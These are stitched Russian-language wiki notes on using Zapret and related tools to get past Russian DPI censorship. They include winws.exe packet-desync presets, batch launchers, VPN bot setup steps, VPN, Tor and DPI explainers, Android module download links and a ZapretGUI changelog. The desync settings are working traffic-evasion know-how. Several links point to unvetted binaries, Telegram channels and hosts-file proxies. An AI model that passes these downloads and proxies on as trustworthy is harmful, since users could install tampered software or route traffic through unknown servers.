--dpi-desync-repeats=9 --dpi-desync-fake-quic=0x00000000 --new ^ –filter-tcp=443 --hostlist-exclude=“list-youtube.txt” --dpi-desync=fake --dpi-desync-fooling=badseq --dpi-desync-repeats=6 --dpi-desync-badseq-increment=0x80000000 --dpi-desync-fake-tls=“tls_clienthello_www_google_com.bin” --new ^ –filter-udp=443 --hostlist-exclude=“list-youtube.txt” --dpi-desync=fake,disorder --dpi-desync-split-pos=1,midsld --dpi-desync-repeats=6 --dpi-desync-fake-quic=“quic_ietf_www_google_com.bin” --new ^ –wf-udp=50000-50099 --filter-udp=50000-50099 --ipset=“ipset-discord.txt” --dpi-desync=fake,tamper --dpi-desync-any-protocol --dpi-desync-fake-quic=“quic_initial_www_google_com.bin” ``` P.S. Ростелеком, Москва, кстати. ```embed title: "Бан от Google | Ошибки плеера | Не работает YouTube со всеми стратегиями Zapret - Community software / Zapret - NTC" image: "https://ntc.party/uploads/default/original/1X/c3dcc2e0e229cb0e06f291b5459ba086b1452779.png" description: "Жесть, мужееееки. Как я говорил у меня preset_russia. Внес некоторые изменения в него от себя, в частности TCP/UDP вернул из своего старого конфига, т.к. те что в пресете - немного тупорылят. Те что в самом пресете, под Ютуб, - оставил, но подрезал, добавил ttl=4 (как будто бы так стабильнее, если больше то начинает срать ошибками, если меньше 3-ёх то мало, на 3 подвисает чаще, на 4 как будто бы больше стабильности). На свои же стратегии по TCP/UDP добавил хостлист exclude - list-youtube, ..." url: "https://ntc.party/t/%D0%B1%D0%B0%D0%BD-%D0%BE%D1%82-google-%D0%BE%D1%88%D0%B8%D0%B1%D0%BA%D0%B8-%D0%BF%D0%BB%D0%B5%D0%B5%D1%80%D0%B0-%D0%BD%D0%B5-%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%D0%B5%D1%82-youtube-%D1%81%D0%BE-%D0%B2%D1%81%D0%B5%D0%BC%D0%B8-%D1%81%D1%82%D1%80%D0%B0%D1%82%D0%B5%D0%B3%D0%B8%D1%8F%D0%BC%D0%B8-zapret/14070/129" ``` ```embed title: "Бан от Google | Ошибки плеера | Не работает YouTube со всеми стратегиями Zapret - Community software / Zapret - NTC" image: "https://ntc.party/uploads/default/original/1X/c3dcc2e0e229cb0e06f291b5459ba086b1452779.png" description: "Надо заметить, что nfqws в рутере с тем же конфигом не дает этих лишних полсекунды-секунду, хорошо работают альтернативные приложения, в том числе андройдовые по вайфаю.
Если не самый, то один из простых случаевAtrM_preset.cmd (2,2 КБ) youtube.txt (404 байта) block1.txt (79 байтов) block2.txt (119 байтов) quic.bin (144 байта) tls_goog.bin (240 байтов) tlsmix1.bin (1,0 КБ) Нужные домены вносятся в block1.txt или в block2.txt
" url: "https://ntc.party/t/%D0%B1%D0%B0%D0%BD-%D0%BE%D1%82-google-%D0%BE%D1%88%D0%B8%D0%B1%D0%BA%D0%B8-%D0%BF%D0%BB%D0%B5%D0%B5%D1%80%D0%B0-%D0%BD%D0%B5-%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%D0%B5%D1%82-youtube-%D1%81%D0%BE-%D0%B2%D1%81%D0%B5%D0%BC%D0%B8-%D1%81%D1%82%D1%80%D0%B0%D1%82%D0%B5%D0%B3%D0%B8%D1%8F%D0%BC%D0%B8-zapret/14070/130" ``` ```embed title: "Сборка YTDisBystro на основе zapret для Windows: Обсуждение - NTC" image: "https://ntc.party/uploads/default/original/1X/c3dcc2e0e229cb0e06f291b5459ba086b1452779.png" description: "YTDisBystro v2.4.1 версия zapret для скачивания заменена на 69.7 в ipset для Дискорда добавлен IP сайта stable.dl2.discordapp.net с которого Дискорд тянет обновы 1_preset_russia и 2_service_install_reinstall переведены в кодировку UTF-8, чтобы комментарии на русском отображались на виндовс без русской локали в !!!get_zapret_first!!! добавлен прыжок сразу на распаковку, если в папке YTDisBystro присутствует zip-архив zapret (не винбандл!) версии, указанной в переменной zapret_ver (для параноико..." url: "https://ntc.party/t/%D1%81%D0%B1%D0%BE%D1%80%D0%BA%D0%B0-ytdisbystro-%D0%BD%D0%B0-%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D0%B5-zapret-%D0%B4%D0%BB%D1%8F-windows-%D0%BE%D0%B1%D1%81%D1%83%D0%B6%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5/13251/410" ``` ```embed title: "Сборка YTDisBystro на основе zapret для Windows: Обсуждение - NTC" image: "https://ntc.party/uploads/default/original/1X/c3dcc2e0e229cb0e06f291b5459ba086b1452779.png" description: "YTDisBystro v2.4.2 удален russia-youtubeGV.txt из lists - нет смысла его держать ради одного домена, все стратегии с ним переделаны добавлена еще одна стратегия для дискорда отсюда (не по умолчанию) добавлена ультимативная стратегия ZMESS от i-no для гуглвидео (для специалистов, знающих как узнать свои пулы GGC и перевести их в IP-диапазон вида XXX.XXX.XXX.XXX/XX), не по умолчанию, конечно, ибо требуется в крайне редких случаях в myhostlist.txt добавлено несколько тихо заблоченных на днях доме..." url: "https://ntc.party/t/%D1%81%D0%B1%D0%BE%D1%80%D0%BA%D0%B0-ytdisbystro-%D0%BD%D0%B0-%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D0%B5-zapret-%D0%B4%D0%BB%D1%8F-windows-%D0%BE%D0%B1%D1%81%D1%83%D0%B6%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5/13251/522" ``` ```bash --wf-tcp=80,443 --wf-udp=443,50000-50099 ^ --filter-tcp=80 --dpi-desync=fakeddisorder --dpi-desync-ttl=1 --dpi-desync-autottl=2 --dpi-desync-split-pos=method+2 --new ^ --filter-tcp=443 --hostlist="%~dp0unblock.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-pos=1,midsld --dpi-desync-repeats=11 --dpi-desync-fooling=md5sig --dpi-desync-fake-tls="%~dp0tls_clienthello_www_google_com.bin" --new ^ --filter-tcp=443 --dpi-desync=fake,multidisorder --dpi-desync-split-pos=midsld --dpi-desync-repeats=6 --dpi-desync-fooling=badseq,md5sig --new ^ --filter-udp=443 --hostlist="%~dp0unblock.txt" --dpi-desync=fake --dpi-desync-repeats=11 --dpi-desync-fake-quic="%~dp0quic_initial_www_google_com.bin" --new ^ --filter-udp=443 --dpi-desync=fake --dpi-desync-repeats=11 ^ --new ^ --filter-udp=50000-50099 --ipset="%~dp0ipset-discord.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-any-protocol --dpi-desync-cutoff=n4 ``` https://ntc.party/t/726/4029 ```embed title: "Сборка YTDisBystro на основе zapret для Windows: Обсуждение - NTC" image: "https://ntc.party/uploads/default/original/1X/c3dcc2e0e229cb0e06f291b5459ba086b1452779.png" description: "YTDisBystro v2.5 наконец-то поднял свою ленивую *опу и написал инструкцию к сборке ) Она в архиве. Рекомендую ознакомиться версия запрета в cmd изменена на 69.9 (есть там полезные фиксы для режима disorder) убрал из netrogat.txt домен upload.youtube.com ибо его начали замедлять, теперь нужен обход переделал стратегию для Ютуба с QUIC добавил 2 запасных стратегии для Ютуба с QUIC (переменная YTDB_YTQC) YTDisBystro_v2.5.zip (841,2 КБ) MD5: 7F604CF10975DB8D3D22C1338224C01A SHA-256: 00B86065943…" url: "https://ntc.party/t/%D1%81%D0%B1%D0%BE%D1%80%D0%BA%D0%B0-ytdisbystro-%D0%BD%D0%B0-%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D0%B5-zapret-%D0%B4%D0%BB%D1%8F-windows-%D0%BE%D0%B1%D1%81%D1%83%D0%B6%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5/13251/584" ``` ## ZapretDebug ### presetOrig.cmd ```bash @echo off :: Проверка наличия прав администратора net session >nul 2>&1 if %errorLevel% == 0 ( echo NOT RUN PRESET WITH PRAVA ADMIN! pause exit /b ) else ( echo DONE ADMIN PRAVE! ) tasklist /FI "IMAGENAME eq winws.exe" | find "winws.exe" > nul if %errorlevel% == 0 ( echo ERROR: ANOTHER winws.exe START! PLEASE CLOSE ANOTHER CONSONE! pause exit /b ) else ( echo DONE START! ) start "presetOrig" /min "winws.exe" ^ --wf-tcp=80,443 --wf-udp=443,50000-50099 ^ --filter-tcp=80 --dpi-desync=fake,fakedsplit --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="list-youtube.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-pos=1,midsld --dpi-desync-repeats=11 --dpi-desync-fooling=md5sig --dpi-desync-fake-tls="tls_clienthello_www_google_com.bin" --new ^ --filter-tcp=443 --dpi-desync=fake,multidisorder --dpi-desync-split-pos=midsld --dpi-desync-repeats=6 --dpi-desync-fooling=badseq,md5sig --new ^ --filter-udp=443 --hostlist="list-youtube.txt" --dpi-desync=fake --dpi-desync-repeats=11 --dpi-desync-fake-quic="quic_initial_www_google_com.bin" --new ^ --filter-udp=443 --dpi-desync=fake --dpi-desync-repeats=11 --new ^ --filter-udp=50000-50099 --ipset="ipset-discord.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-any-protocol --dpi-desync-cutoff=n4 --new ^ --filter-tcp=443 --hostlist="faceinsta.txt" --dpi-desync=split2 --dpi-desync-split-seqovl=652 --dpi-desync-split-pos=2 --dpi-desync-split-seqovl-pattern="tls_clienthello_chat_deepseek_com.bin" ``` ### preset1.cmd ```bash @echo off :: Проверка наличия прав администратора net session >nul 2>&1 if %errorLevel% == 0 ( echo NOT RUN PRESET WITH PRAVA ADMIN! pause exit /b ) else ( echo DONE ADMIN PRAVE! ) tasklist /FI "IMAGENAME eq winws.exe" | find "winws.exe" > nul if %errorlevel% == 0 ( echo ERROR: ANOTHER winws.exe START! PLEASE CLOSE ANOTHER CONSONE! pause exit /b ) else ( echo DONE START! ) start "zapret: http,https,quic" /min "%~dp0winws.exe" ^ --wf-l3=ipv4,ipv6 --wf-tcp=443 --wf-udp=443,50000-65535 ^ --filter-udp=443 --hostlist="%~dp0list-youtube.txt" --dpi-desync=fake --dpi-desync-repeats=11 --dpi-desync-fake-quic="%~dp0quic_initial_www_google_com.bin" --new ^ --filter-tcp=443 --hostlist="%~dp0list-youtube.txt" --dpi-desync=split --dpi-desync-split-seqovl=1 --dpi-desync-split-tls=sniext --dpi-desync-fake-tls="%~dp0tls_clienthello_www_google_com.bin" --dpi-desync-ttl=1 --new ^ --filter-tcp=443 --hostlist="%~dp0list-discord.txt" --dpi-desync=fake,split2 --dpi-desync-split-seqovl=1 --dpi-desync-split-tls=sniext --dpi-desync-fake-tls="%~dp0tls_clienthello_www_google_com.bin" --dpi-desync-ttl=4 --new ^ --filter-udp=443 --hostlist="%~dp0list-discord.txt" --dpi-desync=fake,split2 --dpi-desync-udplen-increment=10 --dpi-desync-repeats=6 --dpi-desync-udplen-pattern=0xDEADBEEF --dpi-desync-fake-quic="%~dp0quic_initial_www_google_com.bin" --new ^ --filter-udp=50000-65535 --dpi-desync=fake,tamper --dpi-desync-any-protocol --dpi-desync-fake-quic="%~dp0quic_initial_www_google_com.bin" --new ^ --filter-tcp=443 --hostlist="%~dp0other.txt" --dpi-desync=fake,split2 --dpi-desync-split-seqovl=1 --dpi-desync-split-tls=sniext --dpi-desync-fake-tls="%~dp0tls_clienthello_www_google_com.bin" --dpi-desync-ttl=3 --new ^ --filter-tcp=443 --hostlist="%~dp0faceinsta.txt" --dpi-desync=split2 --dpi-desync-split-seqovl=652 --dpi-desync-split-pos=2 --dpi-desync-split-seqovl-pattern="%~dp0tls_clienthello_www_google_com.bin" ``` https://t.me/oisi_rezerv https://t.me/material_oisi/20 ## Virus ```embed title: "Zapret-Discord-YouTube/README.md at main · https://github.com/Detoools/Zapret-Discord-YouTube" image: "https://opengraph.githubassets.com/c68998f316cbaccf390d5edf04409f58c0ebdce55d2e623797790e98f250486b/Detoools/Zapret-Discord-YouTube" description: "Best Zapret. Contribute to Detoools/Zapret-Discord-YouTube development by creating an account on GitHub." url: "https://github.com/Detoools/Zapret-Discord-YouTube" ``` [[ZapretTeam]] --- 📂 Папка с нашими чатами: https://t.me/addlist/xjPs164MI7AxZWE6 ➖➖➖➖➖ Каналы ➖➖➖➖➖ 👅 Основная группа: https://t.me/bypassblock/399 🧩 Группа по блокировкам: https://t.me/youtubenotwork 😹 Для Android и прочие VPN сервисы: https://t.me/zapretyoutubediscordvpn Популярные моды APK файлы: 🤖 https://t.me/androidawesome 🔗 Переходник (все каналы): https://t.me/runetvpnyoutubediscord ➖➖➖➖➖ О Zapret ➖➖➖➖➖ ☺️ Скачать Zapret (архив все версии): https://t.me/zapretnetdiscordyoutube ℹ️ Скачать Blockcheck: https://t.me/zapretblockcheck 😒 Дорожная карта: https://t.me/approundmap ❓ Помощь с настройкам Zapret (задать вопрос): https://t.me/zaprethelp 😷 Вирусы в Запрете? https://t.me/zapretvirus ➖➖➖➖➖ Боты ➖➖➖➖➖ ☺️ ИИ помощник по обходу, а также скачать Zapret: https://t.me/zapretbypass_bot 😁 💵💵💵 Платный VPN от команды Zapret GUI: https://t.me/zapretvpns_bot 💵💵💵 --- ``` mkdir vpnbot cd /root/vpnbot apt install python3.12-venv apt install python3.13-venv python3 -m venv venv source venv/bin/activate pip install paramiko pytz aiogram aiohttp aiohttp_cors yoomoney requests python-dotenv timezones wireguard certbot schedule filelock playwright timedelta qrcode qrcode[pil] nano /etc/systemd/system/vpnbot.service ``` ``` [Unit] Description=VPN Telegram Bot After=network.target zapret-api.service Wants=network-online.target [Service] Type=simple User=root WorkingDirectory=/root/vpnbot ExecStart=/root/vpnbot/venv/bin/python /root/vpnbot/bot.py # Перезапуск при падении Restart=always RestartSec=10 # Лимиты (отдельные от API!) LimitNOFILE=32768 LimitNPROC=2048 TasksMax=2048 # Логирование StandardOutput=journal StandardError=journal SyslogIdentifier=vpnbot # Безопасность PrivateTmp=true NoNewPrivileges=true [Install] WantedBy=multi-user.target ``` ``` sudo systemctl daemon-reload sudo systemctl enable vpnbot sudo systemctl restart vpnbot journalctl -u vpnbot -f ``` --- # 🔐 Что это такое? ### Как [[guide|пользоваться]] Zapret | Если у Вас [[zapret_not_working|не работает Zapret]]. VPN, Tor и обходы DPI - 3 основных метода обхода блокировок в современной России. Рассмотрим каждый подробнее. ## VPN Представьте, что интернет - это большая сеть дорог, а ваш компьютер - это машина, которая по ним ездит. Когда вы заходите на сайт, ваша машина отправляет запрос по этим дорогам. Но иногда на дорогах стоят блокпосты (блокировки), которые не пропускают вашу машину к нужному сайту. VPN - это как вторая дорога в соседнюю страну, в которой нет этих блокпостов. Вот как это работает: 1. Вы подключаетесь к VPN: Это как будто вы загоняете свою машину в специальный грузовик. 2. Грузовик едет по своему туннелю: Ваш запрос (желание попасть на сайт) теперь скрыт внутри VPN-туннеля. 3. Грузовик выезжает в другом месте: VPN-сервер (грузовик) находится в другой стране, где нет блокировки нужного вам сайта. 4. Вы получаете доступ к сайту: Грузовик "высаживает" вашу машину уже в нужном месте, и вы спокойно попадаете на сайт. То есть VPN: - Скрывает ваш настоящий адрес (IP): Блокпосты не видят, откуда вы на самом деле едете. - Шифрует ваш трафик:Никто не может подсмотреть, что вы делаете в интернете, пока вы в туннеле. - Позволяет "телепортироваться" в другую страну: Вы как будто подключаетесь к интернету из другой точки мира, где нет ограничений. Простыми словами, VPN - это ваш личный секретный проезд в интернете, который помогает обходить блокировки и оставаться незамеченным. Важно помнить: - Разные VPN-сервисы отличаются по скорости, надежности и цене. - Использование VPN может немного замедлить интернет. - В некоторых странах использование VPN может быть ограничено или запрещено. ### Основные протоколы VPN VPN-протоколы — это набор правил, определяющих, как VPN-клиент и VPN-сервер устанавливают и поддерживают зашифрованное соединение. От выбора протокола зависят скорость, безопасность и стабильность VPN-подключения. Вот основные VPN-протоколы, используемые сегодня - OpenVPN - WireGuard - IKEv2/IPsec - L2TP/IPsec - VLESS (VMess) - Shadowsocks - Trojan - V2Ray (Xray) и другие... ### Основные типы VPN Типы отличаются по способу установки и работе. Могут использовать любые протоколы выше (зависят от разработчика): - Браузерные расширения для [Chrome](https://chromewebstore.google.com/search/vpn) и [Firefox](https://addons.mozilla.org/ru/firefox/search/?q=vpn) - [Настольные приложения](https://github.com/awesome-windows11/CensorNet/tree/main/vpn) или APK для Windows и Android (работают как для всей системы - то есть стандартный впн, так и в режиме HTTP/SOCKS прокси, то есть для работы по отдельным портам с раздельным тунелированием) ## [Tor](https://sourceforge.net/projects/tor-browser.mirror/files/) Ваш интернет-трафик проходит через несколько случайно выбранных узлов (серверов) в сети Tor, каждый из которых снимает один слой шифрования, как слои луковицы. - Анонимность: Каждый узел знает только о предыдущем и следующем узле в цепочке, но не знает ни полного пути, ни источника, ни назначения трафика. Это обеспечивает достаточно высокую степень анонимности для вашей безопасности. - Медленный: Из-за многократного шифрования и маршрутизации через несколько узлов, Tor обычно работает медленнее, чем VPN. - Бесплатный: Tor - это бесплатное программное обеспечение с открытым исходным кодом, поддерживаемое сообществом добровольцев (никто не знает через какие сервера проходят ваши данные) Выбирать реле возможно через сайт [Tor Relay](https://metrics.torproject.org/rs.html#search/type:relay), там можно выбрать любую страну и вписать её в файл torrc, что позволяет быстро использовать ресурсы Tor. ### Мосты ([bridges](https://t.me/InviZibleProRus_Group)) в Tor Представьте, что власти знают о существовании обычных входов в сеть Tor (известные узлы) и блокируют их. Мосты - это секретные, неопубликованные входы в сеть Tor. - Скрытые точки входа: Они не перечислены в общем списке узлов Tor, поэтому их сложнее обнаружить и заблокировать. - Для тех, кто под сильной цензурой: Мосты в первую очередь предназначены для пользователей в странах с жесткой интернет-цензурой, где обычные узлы Tor блокируются. - Получение адреса моста: Адреса мостов можно получить через сайт Tor Project, по электронной почте или у доверенных пользователей Tor. Почему мосты труднее заблокировать, чем один IP-адрес VPN: - Множество адресов: Существует множество мостов, и их список постоянно меняется. Заблокировать все мосты гораздо сложнее, чем один IP-адрес VPN-сервера. - Маскировка трафика: Мосты, особенно obfs4, активно маскируют свой трафик, чтобы его было сложно отличить от обычного интернет-трафика. - Децентрализация: Tor - децентрализованная сеть, у нее нет единой точки отказа. Если один мост заблокируют, можно использовать другой. - Постоянное развитие: Разработчики Tor постоянно работают над улучшением мостов и созданием новых методов обхода блокировок. В итоге: - Tor с мостами - это более надежный инструмент для обхода жесткой цензуры, чем VPN, так как его сложнее обнаружить и заблокировать. - VPN - это более простой и быстрый вариант для повседневного использования, если вам не требуется высочайший уровень анонимности. ## Обход DPI (система ТСПУ) Но есть совершенно другой способ обхода блокировок. Вместо того чтобы пытаться подключиться к "соседу" (соседней стране) где интернет у провайдера не заблокирован - можно вместо этого обмануть ВАШЕГО провайдера и не заметить что Вы пытаетесь подключиться к запрещённому ресурсу. С 2010-ых годов начали постепенно разворачивать ТСПУ. Такие сервера которые принимают пакеты с данными трафика и специальными алгоритмами анализируют куда Вы заходите (анализ по DNS, анализ по имени хоста, анализ по айпи и т.д.) Представим снова интернет как сеть дорог. Блокировки - это не просто блокпосты, а умные блокпосты с инспекторами, которые проверяют каждую машину (ваш трафик) на наличие "запрещенных" товаров (данных, ведущих на заблокированные сайты). Это и есть DPI (Deep Packet Inspection) - Глубокая Проверка Пакетов. Инспекторы заглядывают внутрь каждой машины и смотрят, куда она едет и что везет. [GoodbyeDPI](https://github.com/ValdikSS/GoodbyeDPI) и [Zapret](https://github.com/bol-van/zapret-win-bundle) - это специальные методы манипулированием с данными (_буковки и циферки внутри пакетов TCP/IP протокола_), которые помогают обмануть этих инспекторов, не меняя при этом вашу машину (не используя VPN, не изменяя адрес и страну). **Вот как они работают:** - Разделение "запрещенного" груза: Представьте, что вы везете что-то большое, что инспектор сразу заметит. GoodbyeDPI и Zapret "разбирают" этот груз на мелкие части и везут их по отдельности. Инспектор видит только маленькие, безобидные посылки и пропускает их. - Изменение "внешнего вида" груза: Другая хитрость - это немного изменить то, как выглядят ваши данные. Это как надеть на груз маскировку, чтобы инспектор не узнал, что это на самом деле. В результате: - Инспектор DPI не понимает, что вы пытаетесь попасть на заблокированный сайт. - Ваш запрос проходит через блокпост без проблем. - Вы получаете доступ к нужному сайту, не используя VPN. Простыми словами, GoodbyeDPI и Zapret - это способы обхитрить систему, которая пытается заблокировать вам доступ к сайтам, заставляя её думать, что вы никуда "запрещённый" не едете. Важно помнить: - Эти методы не так надежны, как VPN, потому что они не шифруют ваш трафик. - Интернет-провайдеры могут обновлять свои системы DPI, чтобы противостоять этим хитростям. - Провайдер видит куда Вы заходите, так как не происходит маскирование трафика Если сравнивать с VPN: - VPN - это как спрятаться в грузовике и ехать по туннелю - GoodbyeDPI/Zapret - это как провезти "запрещенный" груз мимо инспектора, разделив его на части или замаскировав, чтобы инспектор не заметил ## Что будет если полностью изолировать рунет? Если РКН теоретически полностью изолирует Россию от остального интернета, создав суверенный Рунет, то Zapret и подобные ему инструменты перестанут работать. Вот почему: - Zapret и GoodbyeDPI работают, обманывая системы DPI, которые фильтруют трафик на уровне провайдеров внутри страны. Они помогают обходить блокировки, основанные на анализе трафика, идущего к *внешним* (не российским) ресурсам. - В случае полной изоляции, трафик просто не будет выходить за пределы страны. Не будет самого "запрещенного" трафика, который нужно обманывать. Заблокированные извне ресурсы станут недоступны не из-за DPI, а из-за физического отсутствия связи с ними. - Инструменты типа Zapret не смогут установить соединение с внешними серверами, так как доступ к ним будет полностью перекрыт. Нужно чтобы эти зарубежные ресурсы были доступны хотя бы провайдеру. В случае ПОЛНОЙ изоляции рунета любые зарубежные сайты в принципе не должны быть доступны. В такой ситуации: - Доступ будет только к тем ресурсам, которые физически расположены на серверах внутри России и разрешены РКН. - DPI может по-прежнему использоваться, но уже для фильтрации внутреннего трафика и блокировки доступа к ресурсам внутри страны, которые будут признаны нежелательными. - Для обхода ограничений в изолированном Рунете, вероятно, потребуются совершенно другие инструменты, работающие на иных принципах. Останется только именно внутренний РОССИЙСКИЙ VPN который будет подключаться к российским серверам (а они в свою очередь, тайком к зарубежным). Но такие ресурсы будет легко обнаружить и заблокировать. Подводя итог: Zapret и GoodbyeDPI предназначены для обхода блокировок доступа к внешнему интернету. В случае полной изоляции от внешнего мира, они станут бесполезны, так как проблема будет не в DPI, а в отсутствии самого доступа. Важно отметить: Полная изоляция Рунета - это пока что теоретический сценарий, реализация которого крайне сложна и повлечет за собой множество негативных последствий. > [!NOTE] > Статья подготовлена группой https://t.me/bypassblock ![Иллюстрация к сценарию изоляции Рунета](attachments/runet-isolation-theory.png) --- --- date: tags: link: aliases: img: --- ![[Pasted image 20260131162140.png|900]] # 🤖 Дурилки трафика (DPI) для Android ## [[Zapret2]] > [!WARNING] ВАЖНО! > Для того чтобы поставить zapret на телефон андроид требуются рут права (так как zapret работает напрямую с инструментом linux — iptables)! > А также установленное приложение [Magisk](https://github.com/topjohnwu/Magisk/releases). (для работы с IPTABLES) ### Способ 1. [Zapret 2 (Magisk модуль)](https://git.zapret.moe/zapretdiscordyoutube/magisk-zapret2) Самый передовой модуль для обхода блокировок YouTube, Discord и других сайтов на Android. Подробный разбор — что это, почему нужен root, установка, стратегии, раздача через hotspot и ограничения — в отдельной заметке: **[[Zapret/magisk-zapret2|Zapret2 как Magisk-модуль — системный обход DPI на Android]]**. APK-менеджер и другие приложения проекта удобно ставить из [F-Droid-репозитория Zapret Apps](https://git.zapret.moe/fdroid/repo) — с автообновлением и проверкой подписи. ![[Pasted image 20260131162343.png|800]] --- ## Zapret 1 ### Способ 1. [Magisk модуль с zapret ImMALWARE ](https://github.com/ImMALWARE/zapret-magisk) 1. Скачайте модуль тут: https://github.com/ImMALWARE/zapret-magisk/releases/latest/download/zapret_module.zip 2. Установите модуль, перезагрузитесь, как обычно. zapret будет запущен автоматически. ### Способ 2. [zapret Pocket sevcator](https://github.com/sevcator/zapret-magisk) 1. Скачайте модуль: https://github.com/sevcator/zapret-pocket/releases/download/21.0/zapret-pocket.zip 2. Установите также как и в способе 1 ## Способ 3. [zaprett](https://mailru.pro) Вики по установке доступна здесь: https://mailru.pro/guide/install/app-module Исходный код здесь: https://github.com/CherretGit/zaprett-app [📣 Официальный Telegram-канал модуля](https://t.me/zaprett_module) Представляет собой портированную версию [zapret](https://github.com/bol-van/zapret/) от [bol-van](https://github.com/bol-van/) для Android устройств. Требования: * Magisk 24.1+ * Прямые руки * Termux или другой эмулятор терминала **И/ИЛИ** [ремейк приложения zaprett от cherret](https://github.com/CherretGit/zaprett-app) ("оригинал" устарел и не обновляется, вместо этого мы вдвоём занимаемся версией на Kotlin!) На данный момент модуль умеет: + Включать, выключать и перезапускать nfqws + Работать с листами, айписетами, стратегиями + Предлагать обновления через Magisk/KSU/KSU Next/APatch Какую версию модуля выбрать? В актуальных релизах есть 2 версии модуля, а именно: - zaprett.zip - zaprett-hosts.zip (с /etc/hosts) Что такое /etc/hosts? Говоря грубо, это файл, который влияет на работу нейросетей и других недоступных сервисов, перенаправляя ваш траффик на сторонние сервера. Если вы используете модули, которые подменяют этот файл (например, всевозможные блокировщики рекламы и разблокировщики нейросетей), выбирайте версию **без hosts**, иначе модули будут конфликтовать друг с другом. ⚠️ Сервера, используемые в качестве прокси и указанные в файле hosts нам неподконтрольны, мы не несём за них отвественность, используйте с осторожностью Zaprett: https://github.com/egor-white/zaprett Zaprett GUI: https://github.com/CherretGit/zaprett-app Специальная тема: https://4pda.to/forum/index.php?showtopic=1108704 Для перенаправления hosts (ChatGPT, Notion и т.д.): https://github.com/AdAway/AdAway ## ByeByeDPI (без Root) ![[ByeByeDPI - Что это такое]] ## Перенаправление hosts DNS от https://www.comss.ru/page.php?id=7315 или https://xbox-dns.ru или dns.malw.link ## Android TV https://www.youtube.com/watch?v=q5fVssg6Wjw ### ☄️ Всё остальное тут: https://t.me/androidawesome запрет для обхода блокировок discord и youtube, дискорда и ютуба, запретов нет, обход блокировки дискорд и ютуб --- --- date: 2026-06-12 tags: - zapret - changelog - релизы - dev aliases: - Changelog Zapret 21 - История версий Zapret 21.0.0 - Что нового в Zapret с 21.0.0.6 link: https://git.zapret.moe/zapretdiscordyoutube/zapretgui/releases --- # 📜 Changelog ZapretGUI: от 21.0.0.6 до 21.0.0.181 (dev) > [!info] О чём заметка > Сводка всех изменений GUI-лаунчера [[home|ZapretGUI]] (репозиторий `youtubediscord/zapret`) от версии **21.0.0.6** (6 апреля 2026) до последней dev-сборки **21.0.0.181** (12 июня 2026). Сначала — ключевые изменения по темам, затем полный хронологический список всех релизов. Речь о GUI-обёртке над ядром `winws.exe`, а не о самом движке DPI-обхода bol-van. > [!note] Как читать эти версии > Версии `21.0.0.X` — это **автоматические dev-сборки** (nightly), которые выкладываются по несколько штук в день прямо из рабочих коммитов. Отсюда: номера идут с пропусками (часть сборок не публикуется), даты не всегда строго по возрастанию номера, а у многих сборок заметок нет вовсе. Тексты ниже приведены по release notes: русские формулировки — авторские дословно (иногда с матом и опечатками — так в оригинале), англоязычные — сжатый пересказ сути сборки. > > Где у сборки **нет своих release notes**, в таблице стоит пометка «промежуточная сборка» с темой того периода разработки — это не текст из релиза, а **вывод по соседним версиям и датам** (по тому, над чем автор работал в эти дни). Точные изменения такой сборки можно увидеть только в коммитах GitHub. ## TL;DR — главные изменения за период - **Большой архитектурный демонтаж (21.0.0.6–30).** Удалена home-страница, вырезан оркестраторный «Запрет 2» как тип параметра, переписано управление WinDivert, проверки переведены на WinAPI, введены circular-конфиги, каждый компонент вынесен в свой поток. - **Настройки переехали из реестра в один файл (21.0.0.51–54)**, программа ставится в корень системного диска. - **Снижение нагрузки на CPU (21.0.0.60–65):** убраны лишние таймеры, которые грузили процессор. - **Профили и редактор списков (21.0.0.70, 78, 79):** минимальные пользовательские профили в `settings.json`, новая вкладка «Editor» для правки hostlist/ipset с валидацией и подсветкой ошибок. - **Серия «ускорений» и фикс «краша интернета» (21.0.0.100–117):** массовая оптимизация скорости, запуск `winws`/`winws2` без постоянных stdout/stderr-пайпов, фикс критичного бага, который «крашил весь интернет». - **Новые пресеты 1.9.9 и ветки payload (21.0.0.124–128).** - **DNS через WinAPI и Xbox DNS-провайдер (21.0.0.143–148).** - **Крупный блок Telegram-прокси (21.0.0.142–181) — основная работа июня 2026:** модуль прокси разнесён по файлам, добавлены MTProxy secret, Fake TLS, Cloudflare-fallback и SOCKS5; затем — диагностика маршрутов и доводка надёжности upstream-прокси (health-check, failover, отсечение «больных» прокси). - **Скрытая от release notes тема июня — доступность:** поддержка скринридеров почти на всех экранах, клавиатурная навигация по вкладкам и стратегиям, вынос рендеринга в Web Workers (подробности — в разделе «Под капотом»). > [!example] На пальцах > Dev-канал Zapret — как nightly-сборки браузера: разработчик жмёт «выпустить» по несколько раз в день, и вы получаете самый свежий код сразу после написания. Плюс — новые фиксы доступны мгновенно; минус — любая из таких сборок может быть сырой. Стабильности ради ориентируйтесь на «круглые» релизы, а dev берите, когда нужен конкретный свежий фикс. > [!warning] Dev-сборки нестабильны > Версии с заметками вроде «фикс багов (навреное)», «мне страшно» или «да нихуя ж не поменялось» — это рабочие коммиты автора, а не выверенные релизы. Для повседневного использования берите последнюю сборку, которая у вас стабильно работает, и не обновляйтесь вслепую на каждый новый номер. Скачивать — только из [[download|официального источника]]; о фейковых клонах см. [[discord-cdn-fix-fake-repos-june-2026|разбор вирусных подделок]]. ## Ключевые изменения по темам ### 🧹 Архитектурный демонтаж и рефакторинг (21.0.0.6 → 21.0.0.30) Период «расчистки»: из лаунчера выпиливали легаси и упрощали ядро. - `21.0.0.7` — home-страница полностью удалена. - `21.0.0.8` — удалены лишние карточки. - `21.0.0.15–16` — удалён оркестраторный «Запрет 2» как вид параметра, удалены все старые методы автозапуска, удалены старые компоненты. - `21.0.0.18`, `21.0.0.21` — добавлены и починены circular-конфиги. - `21.0.0.19` — тотальная оптимизация кода и первого показа окна, удаление почти половины лишних функций. - `21.0.0.22–23` — «сильный рефраткоринг» (так в оригинале). - 